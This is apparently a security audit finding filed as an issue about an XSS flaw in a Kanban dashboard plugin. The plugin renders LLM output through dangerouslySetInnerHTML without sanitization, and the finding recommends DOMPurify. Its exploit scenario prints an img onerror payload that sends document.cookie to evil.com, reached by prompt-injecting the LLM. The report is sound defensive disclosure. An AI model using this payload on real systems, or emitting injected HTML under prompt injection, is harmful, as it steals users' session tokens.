hermes - 💡(How to fix) Fix [SECURITY] Kanban dashboard XSS via dangerouslySetInnerHTML without HTML sanitization

Security Finding — CSO Audit 2026-05-25

Severity: HIGH | Confidence: 9/10 | Status: VERIFIED (PERSISTENT)

Location

plugins/kanban/dashboard/dist/index.js:345 — MarkdownBlock component

Description

The Kanban dashboard renders markdown-processed LLM output directly as raw HTML via React's dangerouslySetInnerHTML without any HTML sanitization. An LLM that outputs malicious HTML/JS (via prompt injection or model hallucination) would execute arbitrary JavaScript in the dashboard viewer's browser.

Exploit Scenario

1. Attacker crafts a prompt that causes the LLM to output <img src=x onerror=fetch('https://evil.com/?'+document.cookie)> in a task description
2. LLM returns the malicious content
3. renderMarkdown() processes it to HTML
4. dangerouslySetInnerHTML injects it into the DOM
5. Script executes, exfiltrating dashboard session tokens

Impact

Cross-site scripting (XSS) in the Kanban dashboard. An attacker who can influence LLM output can execute JavaScript in the dashboard context.

Recommendation

Use DOMPurify (or equivalent) to sanitize HTML before rendering. Example:

import DOMPurify from 'dompurify';
dangerouslySetInnerHTML: { __html: DOMPurify.sanitize(renderMarkdown(props.source || '')) }

Prior Report

This finding was first reported on 2026-05-11 (prior CSO audit). It persists in the current codebase.